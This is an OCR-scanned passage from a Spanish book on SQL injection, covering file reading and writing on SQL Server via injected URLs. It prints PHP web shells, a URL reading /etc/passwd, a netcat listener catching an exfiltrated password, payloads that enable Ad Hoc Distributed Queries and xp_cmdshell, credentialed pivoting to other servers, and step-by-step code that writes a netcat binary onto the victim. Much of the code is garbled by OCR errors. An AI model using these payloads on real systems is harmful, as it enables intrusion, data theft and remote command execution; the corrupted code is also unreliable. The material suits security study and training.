que con “%2b" se codifica el cardcter “+”, utilizado en SQL Server para concatenar cadenas. El
resultado sera una peticion HTTP que llevara la ansiada contrasefia en la URL:
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C:\Users\Atacante\Desktop>nc -1 -p 9999

GET /?PWD=passadmin HTTP/1.1

Accept: */*

Accept-Language: es

UA-CPU: x86

Accept-Encoding: gzip, deflate .
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCCI; .NET CLR
2.0.50727; NET CLR 3.5.30729; .NET CLR 3.0.30618)

Host: 192.168.56.103:9999

Connection; Keep-Alive

2. Lectura y escritura de ficheros en aplicaciones web con
SQL Injection

Ejecutar aplicaciones en la maquina atacada resulta, sin duda, interesante. Pero hay ocasiones en
que el atacante desearia disponer en ella de algiin programa que necesita. Quiza un troyano, quiza
el archiconocido programa netcat, quiza una libreria, quiza un script que automatice cierta tarea. Si
pudiera crear dichos ficheros...

Y no sélo esto. Introducir un archivo en un sistema puede ser el medio por el que se consiga la
ejecucion de comandos. Por ejemplo, construyendo un script PHP con el siguiente contenido:

[4pre><'?php system(S_GET['emd'])?></pre> |

... y consiguiéndolo instalar en una carpeta de un servidor web, tal y como se presentd en el
capitulo L.

Si lo que se necesita es poder ejecutar codigo PHP de forma dindmica se puede modificar
ligeramente el codigo anterior:

‘ <pre><7php eval(S_GET['cmd"); 7></pre> j

... e invocarlo para realizar las operaciones deseadas:

l http://webserverl/pruebas/p.php?cmd=readfile('/etc/passwd'); j

Incluso si no se alcanzan resultados tan “espectaculares™, escribir, o leer, ficheros siempre puede
ser de utilidad. A veces para consultar la configuracion de los sistemas y aplicaciones, o para
modificarla. Otras para copiar informacion en sitios de donde sea ficil extraerla. Otras para
provocar retardos que ayuden en las técnicas de Time Based Blind SQOL Injection o en los atagues
de denegacion de servicio. La imaginacion del atacante serd la que ponga limites a las posibles
aplicaciones.
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K# @;)l & http://webser.. O~ B¢ X i‘ 3 webserverl ¢ ‘ | o
— - -

root:x:0:0:root:/root:/bin/bash £
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
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TR SRR %,
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Fig 4.4: Ejecutando codigo PHP

Bueno, eso, las funcionalidades que proporcione el motor de bases de datos utilizado y los
privilegios asociados a la cuenta con la que se realicen los intentos de acceso.

Nota: Realmente, no siempre es posible leer o escribir en cualquier fichero, incluso
cuando se cuente con permisos para ello. El sistema puede contar con sistemas de
proteccion que establezcan limitaciones adicionales, como es el caso de AppArmor,
presente en algunas distribuciones de Linux como Ubuntu o SUSE.

AppArmor restringe a qué directorios va a tener acceso, y con qué permisos, cada aplicacion que
tenga configurada. Y, por ejemplo, mysqld, el daemon de MYSQL, puede ser una de ellas.

Se puede obtener mas informacién sobre esta herramienta en las siguientes direcciones:
http:/fes.wikipeida.org/AppArmor, hitp://www.novell.com/devel oper/novell_apparmor.html

2.1. SQL SERVER Yy las fuentes de datos infrecuentes

En general, para leer un fichero utilizando técnicas de SOL Injection, sean éstas o no a ciegas, es
preciso contar con elementos de SQL que permitan acceder a su contenido. El atacante necesita
que el motor de bases de datos le ofrezca esa posibilidad de una u otra forma.

Por fortuna para ¢él, el manejo de archivos es una caracteristica que facilita el trabajo tanto a
desarrolladores de aplicaciones como a administradores de sistemas. No es, pues, de extrafiar que

los principales gestores de bases de datos cuenten con diferentes interfaces con el sistema de
ficheros.

En el caso de SOL Server, por ejemplo, se pueden usar las “fuentes de datos infrecuentes”,
mecanismos que integran fuentes de datos externas en las consultas SQL, haciendo uso de
tecnologias como OLE DB o su predecesor, ODBC.

Un proveedor OLE DB u ODBC no es mas que un manejador de una fuente de informacion,
posiblemente una libreria, que ofrece una interfaz estandarizada a cualquier aplicacion que la
utilice. Tanto OLE DB como ODBC permiten acceder a practicamente cualquier cosa: instancias
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de bases de datos de distintos fabricantes, tanto locales como remotas, hojas de cdlculo de
Microsoft Excel, bases de datos Microsoft Access, ficheros de DBase, documentos XML.. ..

... O ficheros de texto plano (“txt"”) o delimitados por comas (“csv”). Utilizando el OLE DR
Provider apropiado, es posible crear una fuente de datos, también llamada OLE DB Data Source,

que puede ser utilizada en combinacion con la funcion OpenRowset para generar una consulta cop

un conjunto de filas (una por cada linea del fichero):

SELECT *
FROM OPENDATASOURCE('Microsoft.Jet. OLEDB.4.0',
'Data Source=C:\Prueba\;Extended Properties="Text;HDR=No;"")...a#txt

... Que leeria el fichero “C:\Prueba‘a.txt”. Notese el parametro “HDR=no", que indica que la
primera linea del fichero NO contiene el nombre de la columna. En otro caso, se podria perder esta
informacion en el proceso de extraccion de datos. Ademas, el caracter *.” del nombre del fichero
ha sido sustituido por una almohadilla para evitar errores de sintaxis en la ejecucion de la
instruccion SQL. Otra posible consulta que proporciona el mismo resultado seria:

select * from

openrowset( ‘Microsoft.Jet. OLEDB.4.0',
'"Text;Database=C:\prueba;HDR=No;',
'select * from a.txt')

Pero, cuando se intenta inyectar cualquier de estas consultas en una version de SQL Server igual o
posterior a la de 2003, se obtiene un error del tipo:

Mens. 15281, Nivel 16, Estado 1, Linea 1

SQL Server bloqueo el acceso a STATEMENT ‘OpenRowset/OpenDatasource’ del componente
‘Ad Hoc Distributed Queries' porque este componente estda desactivado como parte de la
configuracion de seguridad de este servidor. Un administrador del sistema puede habilitar el uso
de *Ad Hoc Distributed Queries' mediante sp_configure. Para obtener mas informacién acerca de
como habilitar *‘Ad Hoc Distributed Queries', vea el tema sobre la configuracion de area expuesta
en los Libros en pantalla de SQL Server.

Resumiendo: para poder usar OpenDataSource debe estar activada la opcion “Ad Hoc Distributed
Queries”, que viene desactivada por defecto. Pero no todo esta perdido: si el usuario con el que la
aplicacion se conecta a la base de datos tiene suficientes privilegios, esta configuracion puede ser
cambiada ejecutando los siguientes comandos:

exec sp_configure 'show advanced options', 1;
RECONFIGURE;

exec sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;
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La modificacion del parametro “Ad Hoc Distributed Queries” requiere que esté activada la edicion
de las opciones avanzadas, lo cual se asegura mediante la primera de las instrucciones. Todo ello
puede ser inyectado a través de una pagina vulnerable a ataques de tipo SQL Injection:

http://webserverl/pruebas/ventas.php?ref=A%" ; exec sp_configure 'show advanced options', 1;
RECONFIGURE ; exec sp_configure 'Ad Hoc Distributed Queries', ;RECONFIGURE—

... y ya cabria esperar, por ejemplo, que funcionen las tipicas comprobaciones de un ataque a
ciegas:

http://webserverl/pruebas/ventas.php?ref=A%'" and
0 < 1 %26 ascii(substring((
SELECT top1 * FROM
OPENDATASOURCE('Microsoft.Jet. OLEDB 4.0,
'Data Source=C:\Prueba';Extended Properties="Text;HDR=No;")...a%23txt
)al .] )) ==

O bien

http://webserverl/pruebas/ventas.php?ref=A%" and
0 < 1 %26 ascii(substring(
(select top 1 * from openrowset(
'"Microsoft.Jet. OLEDB.4.0", Text; Database=C:\prueba;HDR=No;’,
'select * from a.txt"))

!111)) B

Pero, de nuevo, es posible que la peticién no funcione como se espera. Puede que la consulta SQL
inyectada funcione correctamente si se ejecuta en modo local, pero no cuando se haga a través de
una aplicacion. Y es que la interfaz utilizada para acceder a SOL Server puede necesitar que estén
activadas las opciones de usuario “ANSI_NULLS” y “ANSI_WARNINGS" para responder a este
tipo de solicitudes. En este caso, la aplicacion podria capturar una excepcion cuyo mensaje de
error seria:

Heterogeneous querEs require the ANSI NULLS and ANSI_WARNINGS options to be set for
the connection. This ensures consistent query semantics. Enable these options and then reissue
your query. (severity 16)

De nuevo, se puede resolver este problema utilizando “sp_configure”. Una de las opciones

"configurables mediante este procedimiento almacenado, “user_options”, es una mascara de bits

que permite ajustar diferentes parimetros. De entre ellos, el valor 8 se corresponde con
ANSI WARNINGS y el 32 con ANSI_NULLS.

La siguiente URL realiza el cambio en estos valores (40=32+8):
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http://webserverl/prucbas/ventas.php?ref=A%"

exec sp_configure 'user options', 4.
RECONFIGURE ’

Si los cambios han tenido €xito, ahora si sera posible realizar la inyeccion:

http://webserverl/pruebas/ventas.php?ref=A%" and
0 < 1 %26 ascii(substring((
SELECT top 1 * FROM
OPENDATASOURCE('Microsoft.Jet. OLEDB.4.0",
'Data Source=C:\Prueba\;Extended Properties="Text;HDR=No;"")...a%23txt
).1.1)) --

(< 16 Py X T e S W o
Usando SQL SERVER

Ventas del producto #1 tornillo -> 7 unidades

Buscar ventas de producto

Buscar Referencia: Buscar |

‘Fig4.5: Elbitvale 1

El hecho de que aparezcan datos sobre ventas indica que la condicién introducida, que el bit menos
significativo del primer cardcter del fichero valga 1, es cierta. Ya se podria comenzar a extraer
toda la informacion de la tabla.

£ Editor del Registro S A P [=1
Archivo Edidon Ver Favoritos Ayuda
: Parado> :_I Nombre | Tipo | Datos -
. Paradoy ab](Predeterminado)  REG_SZ (valor no estableddo)
| Parador | 2¥)Canlink REG_BINARY 01

) Text $4|CreateDBORExport  REG_BINARY 00
1. Transporter abEngine REG_SZ Text
irosoft SQU Serve | abexportFitter REG_SZ Text Files (%, txt; . csv; ™ tab; =.asc)
ﬁ';ﬁ;ﬁ: zgt ::::: ablFormatFunction  REG_SZ txt,SOA_RptToAsdi, 1,MS-DOS Text—
icrosoft SQL Serve - Impor tFilter REG_SZ Text Files (=, txt; *.csv; *,tab; *.asc)
irosoft SQL Serve 8| IndexDialog REG_BINARY 00
irosoft SOL SEj_vJ j’iéjlsamType REG_DWORD 0x00000002 (2) _r:[
LT 3 | | 3
iEquipo\I-IECEY_LOCAL_MACHII\E\SCFTWAREMcroso&\JetH.IJ\,ISAM Formats\Text 4

Fig 4.6: Formatos

| select * from opendatasource(
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gl proveedor OLE DB para texto tiene una limitacion digna de mencion: solo puede abrir ficheros
que tengan ciertas extensiones. En particular, las que aparecen en el valor del registro de Windows
«gmportFilter”, ubicado en:

HKEY LOCAL MACHINE\Software\Microsoft\et'd.0(MSAM FORMATS\Text

para compensar, existen otros proveedores permiten acceder a datos almacenados en ficheros
“mdb” o “xIs™ de Microsofi Office, o de casi cualquier otro formato. Por ejemplo, para acceder a
los datos de una hoja de calculo de Microsoft Excel podrian inyectarse consultas como:

select * from openrowset('Microsoft.Jet. OLEDB.4.0",
'Excel 8.0;Database=C:\prueba'librol.xls;HDR=No;IMEX=1}',
'select * from [Hojal$]")

... que crearfa un conjunto de registros con los valores de la Hoja de Céleulo “Hojal™ del fichero
“C:\prueba\librol.xls”. El parametro “/MEX=I" indica que cuando encuentre valores de distintos
tipos en una columna los tome todos como texto. Es posible indicar qué celdas se desea extraer
indicando el rango en la consulta SELECT:

select * from openrowset('Microsoft.Jet. OLEDB.4.0",
'Excel 8.0;Database=C:\prueba'librol.xls;HDR=No;IMEX=1}',
'select * from [Hojal$b2:c3]")

... 0, para extraer todas las filas y sélo un rango columnas:

select * from openrowset('Microsoft.Jet. OLEDB.4.0',
'Excel 8.0:Database=C:\prueba\librol.xls;HDR=No;IMEX=1;',
'select * from [Hojal $b:f]")

Ambos formatos pueden combinarse para extraer un rango de columnas a partir de una fila dada:

select * from openrowset('Microsoft.Jet. OLEDB.4.0',
'Excel 8.0;Database=C:\prueba'librol.xls;HDR=No;IMEX=1:',
'select * from [Hojal$b3:f]")

Y, por supuesto, también es posible interactuar con Microsoft Access. Por ejemplo, para usar una
tabla (“usuarios™ en el ejemplo) de una base de datos mdb:

'Microsoft.Jet. OLEDB.4.0',
'Data Source=C:\prueba‘\a.mdb;User ID=Admin;Password=:")...Usuarios
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2.2.Extrayendo un fichero de texto completo

Tanto si se usa OpenRowSet como OpenDataSource, cuando se carga un fichero de texto, cada
linea de este es convertida en una fila de una consulta. Este comportamiento puede ser yp
problema a la hora de extraer los datos. Sobre todo cuando el orden de las lineas en el archivo eg
relevante. En estos casos, interesaria generar una tinica cadena a partir del contenido del fichero,
no un conjunto de registros.

Aqui puede resultar util lo aprendido en el capitulo sobre Serialized SQL Injection. Si se utiliza la
clausula “FOR XML RAW™:

SELECT * FROM
OPENDATASOURCE('Microsoft.Jet. OLEDB.4.0',
'Data Source=C:\Prueba\;Extended Properties="Text;HDR=No;")...a#txt
for xml raw

... la salida obtenida sera similar a la siguiente:

<row F1="Linea 1"/><row F1="Linea 2"/><row F1="Linea 3"/>

Como puede observarse, la columna generada en la consulta tiene como nombre “F1”. Si hubiera
una segunda, se llamaria “F2”. La tercera seria “F3”. Y asi sucesivamente.

A partir del resultado obtenido puede recuperarse el contenido original eliminando los inicios de
etiquetas XML (“<row F1="") y sutituyendo su final (*"'/>") por retornos de carro:

select replace(
replace((SELECT * FROM
OPENDATASOURCE('Microsoft.Jet. OLEDB.4.0',
'Data Source=C:\Prueba\;Extended Properties="Text;HDR=No;")...a#txt
for xml raw)
J<row F1="""
\"'1>' char(10))

De este modo se obtiene el fichero como una unica cadena que puede ser extraida usando técnicas
de SQL Injection, si bien debe tenerse en cuenta que la informacion tendra codificacion de XML
para representar algunos caracteres especiales, como “>" o “<”.

2.3.Servidores vinculados y otras consideraciones sobre el uso de
OLE DBy ODBC

Mediante OLE DB es posible realizar conexiones no sélo a ficheros sino también a otras bases
datos, tanto SQL Server como de otros fabricantes. De este modo, si el atacante conociera
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credenciales para acceder a otros equipos pero no tuviera conectividad con ellos (por ejemplo,
porque un cortafuegos lo impidiera), podria intentar usar el servidor comprometido como puente:

SELECT *
FROM OPENDATASOURCE(
'SQLOLEDB!,
'Data Source=192.168.56.103;User ID=tester;Password=1a23'
).master.almacen.usuarios

Incluso, si la sesion se inicia utilizando credenciales de Windows, puede que éstas permitan el
acceso a otros servidores:

SELECT * FROM
OPENDATASOURCE('SQLNCLI'",
'Data Source=192.168.56.103;Integrated Security=SSPI').master.almacen.usuarios

Ademas, no sélo es posible leer la informacion de las tablas, sino también modificarla. Para una
base de datos de Access, se tendria:

insert into opendatasource(

'Microsoft.Jet. OLEDB.4.0",

'Data Source=C:\prueba‘\a.mdb;User ID=Admin;Password=;")...Usuarios
values (-1, ‘nuevo', 12345678)

Las fuentes de datos infrecuentes no permiten la creacion de tablas. Si se necesita realizar este tipo
de operaciones, y si se cuenta con privilegios suficientes para ello, se puede crear una conexion
permanente (denominada “servidor vinculado™) haciendo uso de los procedimientos almacenados
“sp_addlinkedserver”, que crea la conexion, “sp_serveroption”, que establece sus opciones y
“sp_addlinkedsrviogin™, con la que se especifican las credenciales de usuario a utilizar.

EXEC sp_addlinkedserver 'PRUEBA', ", 'Microsoft.Jet. OLEDB.4.0", 'c:\prueba‘a.mdb' ;
EXEC sp_serveroption 'PRUEBA", 'rpc', 'true’ ;

EXEC sp_serveroption 'PRUEBA", 'rpc out', 'true’ ;

EXEC sp_addlinkedsrvlogin 'PRUEBA', 'False', NULL, 'Admin', " ;

Todas estas instrucciones pueden ser ejecutadas en un mismo acceso:

http://webserver|/pruebas/ventas.php?ref=A%' ; EXEC sp addlinkedserver 'PRUEBA'",
'Microsoft.Jet. OLEDB.4.0", 'c:\prueba‘a.mdb' ;EXEC sp_serveroption 'PRUEBA', 'rpc', 'true'
;EXEC sp_serveroption 'PRUEBA', 'rpc out', 'true' ;EXEC sp_addlinkedsrvlogin 'PRUEBA/,
'False', NULL, 'Admin', " ;--

... ¥, una vez creado el servidor vinculado, se puede proceder a crear tablas:
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http://webserverl/pruebas/ventas.php?ref=A%" ; EXEC ('create table nueva(id integer, valor
text)') AT PRUEBA--

... € insertar datos en ellas:

http://webserverl/pruebas/ventas.php?ref=A%" ; insert into PRUEBA...nueva values (2,
'EFGHIIK") --

... o consultar los datos que almacenan:

| select * from PRUEBA...nueva |

2.4.Microsoft SQL Server 2000: opciones de carga masiva

En el apartado anterior se indicd que las fuentes infrecuentes de datos son incapaces de importar
un fichero de texto con extension distinta a las contempladas por el proveedor OLE DB u ODBC
empleado.

Esta limitacion puede ser sorteada si se puede utilizar el comando “Bulk Insert”. Para ello es
necesario poseer, a nivel de servidor, el rol de bulkadmin y, a nivel de base de datos,
tanto db_owner como db_ddladmin.

El proceso de extraccion utilizara una tabla temporal en que volcar los datos del fichero. El primer
paso consistira en crearla:

http://webserverl/pruebas/ventas.php?ref=A%"' ; Create Table TablaTemporal (fila
varchar(8000))--

... para después rellenarla con los contenidos del fichero:

http://webserverl/pruebas/ventas.php?ref=A%" ;
Bulk Insert TablaTemporal From 'c:\prueba‘a.bak’
With (FIELDTERMINATOR ="', ROWTERMINATOR = "n")--

A partir de este punto se puede proceder a aplicar técnicas de Serialized SQOL [njection para
generar una Unica cadena con el contenido de toda la tabla. Otra opcion, que permitiria ir
extrayendo datos fila por fila, consistiria en agregarle una columna IDENTITY que permita
después recuperar las lineas en ¢l orden correcto:

http://webserverl/pruebas/ventas.php?ref=A%';
alter table TablaTemporal add num int IDENTITY(1,1) NOT NULL—

Los parametros en la definicion de /DENTITY indican que los niimeros de fila comienzanen 1 y
van incrementindose de 1 en 1. Esta nueva columna debe afiadirse DESPUES de importar el
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contenido del fichero a la tabla pues, de otro modo, el proceso de carga no se realizard de forma
correcta, Una vez importado el fichero a la tabla, sélo quedarfa obtener su contenido utilizando
técnicas de SOL Injection y, una vez finalizado el proceso, borrar la tabla temporal:

http://webserver | /pruebas/ventas.php?ref=A%' ; Drop Table TablaTemporal--

2.5.Microsoft SQL Server 2005 & 2008: opciones de carga masiva

Una de las mejoras de Transact SOL introducidas en Microsoft SOL Server 2005 es la posibilidad
de realizar importaciones masivas llamando a OpenRowSet y especificando la opcion bulk. De este
modo, puede conseguirse el mismo resultado que utilizando Bulk Insert (que contintia estando
disponible), pero sin necesidad de utilizar tablas temporales donde almacenar el contenido de los
ficheros:

Iﬁ]ect * from openrowset(bulk 'c:\prueba‘a.bak', SINGLE_CLOB) as C

Todo el fichero se importard como un tnico valor de cadena. El parametro SINGLE_CLOB indica
que los datos se convertirdn a tipo varchar(max), capaz de almacenar hasta 2 GigaBytes de
informacion. Otro posible valor, util si se esta trabajando con ficheros binarios es SINGLE_BLOB,
que hace que los datos se almacenen como varbinary(max). SINGLE NCLOB, por su parte, es
apropiado para datos UNICODE que seran incorporados a una columna nvarchar(max).

Para usar esta funcion es necesario tener el rol de servidor bulkadmin y, por supuesto tener
permisos a nivel de sistema operativo para leer el fichero. El acceso se hard, en caso de que se esté
usando autenticacion de Windows, con la cuenta usada para iniciar sesion en SOL Server. En caso
de que se emplee un inicio de sesion propio de SOL Server, se utilizara el perfil de seguridad de la
cuenta con la que se ejecute el proceso de SQL Server, y por lo tanto se tendra acceso a los
ficheros que esta cuenta pueda leer.

El proceso de extraccion de informacion seguiria los patrones habituales. Por ejemplo, en caso de
que se tratara de una inyeccion a ciegas, se comenzaria determinando la longitud del fichero
mediante consultas como...

' http://webserverl/pruebas/ventas.php?ref=A%'" and
DATALENGTH((select * from openrowset(bulk 'c:‘pruebata.mdb’, SINGLE_BLOB) as C))
<128000--

Notese que, al tratarse de un fichero binario, se ha usado la opcion SINGLE BLOB y la funcion

“que retorna el tamafio es DATALENGTH. La informacion sobre los bits que componen cada

caracter se obtendria como viene ya siendo habitual. Para empezar:

http://webserver/pruebas/ventas.php?ref=A%" and ascii(substr((select * from openrowset(bulk
'c:\prueba‘a.mdb’, SINGLE _BLOB) as C),1,1)) %26 1 > 0--
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2.6.Creando ficheros en SQL Server

La creacion de ficheros en SQL Server es un poco mas compleja, aunque, desde luego, ng
imposible. Una de las herramientas que se pueden utilizar es BCP, un programa que se ejecuta en
modo linea de comandos y que permite exportar los datos de una tabla o una consulta.

El primer problema es que BCP precisa que se le indique con qué credenciales se desea iniciar Ia
sesion en la base d(‘? datos. Pero una de sus opciones, “-T”, permite usar el modo integrado con la
autenticacion de Windows y es probable que la cuenta con las que se ejecuta el motor de base de
datos tenga acceso a las tablas.

De. este modo, es posible inyectar codigo SQL que invoque a BCP mediante xp_emdshell o usando
objetos ActiveX y cree un fichero de texto:

create table almacen.temp_fichero(datos varchar(4000));

insert into almacen.temp_fichero values ('Linea 1'+char(13)+CHAR(10)+'Linea 2");
update almacen.temp_fichero set datos = datos + char(13) + CHAR(10) + 'Linea 3";
exec xp_cmdshell 'bep master.almacen.temp_fichero out ¢:\prueba\fichero.txt -T -¢';

drop table almacen.temp_fichero;

La opcion “-¢” indica a BCP que debe exportar el fichero en modo caracter.

Escribir un fichero binario presenta un problema adicional. En lugar de “-n”, existe otra opcion, -
n”, que fuerza una salida en "modo nativo" y que, en principio podria valer para estos propositos.
Pero, por defecto, BCP inserta al principio del fichero informacion sobre la longitud de los datos,
lo cual “rompe” el formato del archivo.

Para evitarlo, es necesario usar una especificacion de formato que indique que el prefijo de los
datos debe tener una longitud igual a cero. Y eso se hace mediante un archivo de texto (por suerte
para el atacante) que se puede generar con el propio programa BCP. Asi:

create table almacen.temp_fichero(datos varbinary(max));
create table almacen.temp_formato(formato varchar(4000));

-- El contenido de este fichero se obtuvo haciendo pruebas en un equipo propio

-- E1 10.0 del principio hace alusion a la version

insert into almacen.temp_formato values
('10.0"char(13)+CHAR(10)+'1'+char(13)+CHAR(10)+'l SQLBINARY 00 "" 1 DATOS """);

insert into almacen.temp_fichero values (0x4D5A90000300000004000000FFFF0000);

update almacen.temp_fichero set datos = datos + 0xB8000000000000004000000000000000;
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update almacen.temp_fichero set datos = datos + 0x00000000000000000000000000000000;
-~ Seguir anadiendo datos hasta tener todo el contenido del fichero (una o varias peticiones

HTTP)

exec xp_cmdshell 'bep master.almacen.temp_formato out c:\prueba‘al.fimt -T -c';
exec xp_cmdshell 'bep master.almacen.temp_fichero out c:\pruebalal.exe -T -f
c:\pruebatal.fmt';

drop table almacen.temp_fichero;
drop table almacen.temp_formato;

Obsérvese como los literales de tipo varbinary comienzan por “0x” y siguen con la codificacion en
hexadecimal de los bytes que forman el valor deseado. Tras la creacion de las tablas y la
asignacion inicial de valores a “temp_fichero™ con una instruccion “INSERT”, el atacante puede
realizar una o mas peticiones HTTP para irle afiadiendo bytes mediante invocaciones a
“UPDATE”. En el ejemplo anterior, los datos que se introducen se corresponden con el principio
de una version de netcat para Windows (a buen entendedor...).

Finalmente, se usa BCP para generar el fichero de formato y se utiliza éste (opcion “-f”) para crear
el archivo binario. La URL que hace todo esto puede resultar bastante larga,... pero cumple con su

proposito:

http://webserver1/pruebas/estadistica.php?id=1&cantidad=1) :create table
almacen.temp_fichero(datos varbinary(max)):create table almacen.temp_formato(formato
varchar(4000)):insert into almacen.temp_formato values
('10.0'%2bchar(13)%2bCHAR(10)%2b'1'%2bchar(13)%2bCHAR(10)%2b'] SQLBINARY 00
" 1 DATOS "" ");insert into almacen.temp_fichero values

(0x4D5A90000300000004000000F FFF0000);update almacen.temp_fichero set datos = datos
9%2b 0xB8000000000000004000000000000000;update almacen.temp_fichero set datos = datos
%2b 0x00000000000000000000000000000000;exec xp_cmdshell 'bep
master.almacen.temp_formato out c:\prueba\al.fmt -T -c';exec xp_cmdshell 'bep
master.almacen.temp_fichero out c:\prueba‘al.exe -T -fc:\prucba\al .fmt';drop table
almacen.temp_fichero;drop table almacen.temp_formato:--

Otra forma de acceder a ficheros en SOL Server consistiria en hacer uso de objetos ActiveX de tipo
“ADODB.Stream”. Analicese el siguiente ejemplo:

—- Crear una tabla donde almacenar el contenido del fichero y rellenarla
create table almacen.temp_fichero(datos varbinary(max));

insert into almacen.temp_fichero values (0x4D5A90000300000004000000FFFF0000);
update almacen.temp_fichero set datos = datos + 0xB8000000000000004000000000000000;
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update almacen.temp_fichero set datos = datos + OxO{JOO00{]000000000000000000000{){)(}0;

update almacen.temp_fichero set datos = datos + 0x00000(}00OOOOOOOOUOOOOOOODSOOOU()0;
update almacen.temp_fichero set datos = datos +

0xOE1FBAOE0O0B409CD21B8014CCD215468:

-- Leer el contenido de la tabla en una variable
declare @datos varbinary(max);
select @datos = (select datos from almacen.temp_fichero);

-- La table temporal ya no es util
drop table almacen.temp_fichero;

-~ Instanciar un objeto de tipo ADODB.Stream
declare @resultado int, @fs int;
execute @resultado = sp_OACreate "ADODB.Stream", @fs out;

-- Inicializar el objeto. El tipo vale 1 para Binario y 2 para Texto
execute sp_OASetProperty @fs, 'Type', 1;

-- Se abre el objeto para poder trabajar con él, se le pasan los datos y se guarda
execute sp_ OAMethod @fs, 'Open';

execute sp_ OAMethod @fs, "Write', NULL,@datos;

execute sp_OAMethod @fs, 'SaveToFile', NULL, 'c:\prueba\nc.exe', 2;
execute sp_OAMethod @fs, 'Close";

execute sp OADestroy (@fs;

Convertir este codigo SQL en URLSs que fuercen su ejecucion debe ser a estas alturas algo sencillo.
El proceso comienza creando una tabla temporal y almacenando en ella el contenido del fichero,
para lo cual pueden ser necesario inyectar codigo SOL en una o varias peticiones HTTP.

http://webserverl/pruebas/producto.php?id=1;create table almacen.temp_fichero(datos
varbinary(max)):insert into almacen.temp_fichero values

(0x4D5A90000300000004000000F FFF0000);update almacen.temp_fichero set datos = datos
%2b 0xB8000000000000004000000000000000;update almacen.temp_fichero set datos = datos
%2b 0x00000000000000000000000000000000;update almacen.temp_fichero set datos = datos
%2b 0x000000000000000000000000D8000000;update almacen.temp_fichero set datos = datos
%2b 0xOE1FBAOE00B409CD21B8014CCD215468;

Después, una nueva peticion bastard para completar el proceso:

http://webserverl/pruebas/producto.php?id=1;declare (@datos varbinary(max);select (@datos =
(select datos from almacen.temp fichero);drop table almacen.temp_fichero:declare (@resultado
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z _ 3 "ADODB.Stream", @fs out;execute
1 @fs intexecute @resultado = sp_OACreate g ; "
mt,oEfSetPrOpeﬂy @fs, 'Type', liexecute sp_ OAMethod (@fs, Qpcn ,execullc sp_OAM(.thmri
S@?S 'Write', NULL,@datos;execute sp_OAMethod @fs, 'SaveToFile', NULL, 'c:\pruebalnc.exe’,

2:-execute sp_OAMethod @fs, 'Close";execute sp_OADestroy @fs:

- ADODB.Stream permite también leer y copiar ficheros entre distintas ubicaciones:

declare @resultado int, @fs int;
declare @datos varbinary(8000); , .
execute @resultado = sp_OACreate 'ADODB.Stream’, @fs out;

execute sp_OASetProperty @fs, 'Type', 1;

xecute sp_OAMethod @fs, 'Open'; . o )
:xecute @resultado = sp_oaMethod @fs, 'LoadFromFile’, NULL, c:\origen'netcat.exe’;
declare @src varchar(1000), @desc varchar(1000);

-- Ejemplo 1: Importar a una tabla .

—- Crear una tabla donde almacenar el contenido del ﬁchgro y rellenarla
create table almacen.temp_fichero(orden int, datos varbinary(max));
execute @resultado = sp_OAMethod @fs, 'read’, @datos out, 8000;
insert into almacen.temp_fichero values (1,@datos);

execute @resultado = sp_OAMethod @f5, 'read’, @datos out, 8000;
insert into almacen.temp_fichero values (2,@datos);

execute @resultado = sp_OAMethod @fs, 'read’, @datos out, 8000;
insert into almacen.temp_fichero values (3.(@datos);

execute @resultado = sp_OAMethod @fs, 'read’, @datos out, 8000;
insert into almacen.temp_fichero values (4,(@datos);

execute @resultado = sp_OAMethod @fs, 'read', @datos out, 8000;
insert into almacen.temp_fichero values (5.@datos);

execute @resultado = sp_OAMethod @fs, 'read’, @datos out, 8000;
insert into almacen.temp_fichero values (6,@datos);

execute @resultado = sp_ OAMethod @f5, 'read’, @datos out, 8000,
insert into almacen.temp_fichero values (7,@datos);

execute @resultado = sp_OAMethod @fs, 'read', @datos out, 8000;
insert into almacen.temp_fichero values (8,@datos):

-- Ejemplo 2: Crear una copia del fichero o
execute sp_ OAMethod @fs, 'SaveToFile', NULL, 'c:\prueba'ne.exe’, 2;
execute sp_ OAMethod @fs, 'Close';

execute sp_OADestroy @fs;
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. si bien, debido a la limitacién en el tamafo del buffer a usar (8000 bytes) posiblemente sey
mucho mas cémodo utilizar OpenRowset con la opcion BULK, tal y como se vio en el apartado
anterior.

2.7.Aplicacion practica: comprimiendo una cadena

En el capitulo III se mostraron formas de comprimir una cadena de texto en motores de bases de
datos MySOL, ORACLE o PosigreSQOL. Algo de lo mas atil si se debe extraer informacion
mediante técnicas de Blind SQL Injection. Sin embargo, y en contra de lo que ya debe ser
costumbre en este libro, nada se dijo de SQOL Server. Tal discusion quedd pendiente para este
epigrafe.

Y es que en SOL Server la compresion de datos no es una tarea tan sencilla. Sin embargo, como se
ha mostrado en anteriores ejemplos, siempre es posible ampliar las funcionalidades del lenguaje
mediante el uso de controles ActiveX. En esta linea, algunos desarrolladores de software ponen a
disposicion del publico librerfas que implementan algorimos como ZIP o TAR. Por citar algiin
caso, el control ZipActiveX de Chilkat es utilizado en diversos ejemplos de uso de ficheros ZIP en
SOL Server disponibles en Internet: http://www.chilkatsoft.com/downloads_ActiveX.asp

Se trata en todo caso de un producto comercial (para el que existe una version de demostracion
valida por 30 dias) y que es mas que probable que no esté instalado en el sistema. No es algo en lo
que el atacante pueda confiar.

Un enfoque alternativo consistiria en crear un fichero con el texto que se quiere comprimir y
archivarlo dentro de una carpeta comprimida en formato ZIP, aprovechando el soporte ofrecido
por Windows:

-- Definir el contenido a comprimir

declare (@texto varchar(max),@datos varbinary(8000);

set @texto = (select * from almacen.productos for xml raw);
set (@datos = cast((@texto as varbinary(max));

-- Crear un fichero ZIP vacio

declare (@f5s int;

execute sp_OACreate '"ADODB.Stream', (@fs out;

execute sp_OASetProperty (@fs, 'Type', 1;

execute sp_ OAMethod @fs, 'Open';

execute sp OAMethod @fs, "Write', NULL,
0x504B050600000000000000000000000000000000000001;

execute sp_ OAMethod @fs, 'SaveToFile', NULL, 'c:\prueba\zip.zip', 2;
execute sp_ OAMethod @fs, 'Close';

-- Crear un fichero de texto con el contenido deseado
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execute sp_ OAMethod @fs, 'Open’;

exccute sp_ OAMethod @fs, "Write', NULL, @datos;

execute sp OAMethod @fs, 'SaveToFile', NULL, ‘c:\prueba'zip.txt', 2;
execute sp_ OAMethod @fs, 'Close';

execute sp_OADestroy (@fs;

-- Introducir el fichero de texto en el zip
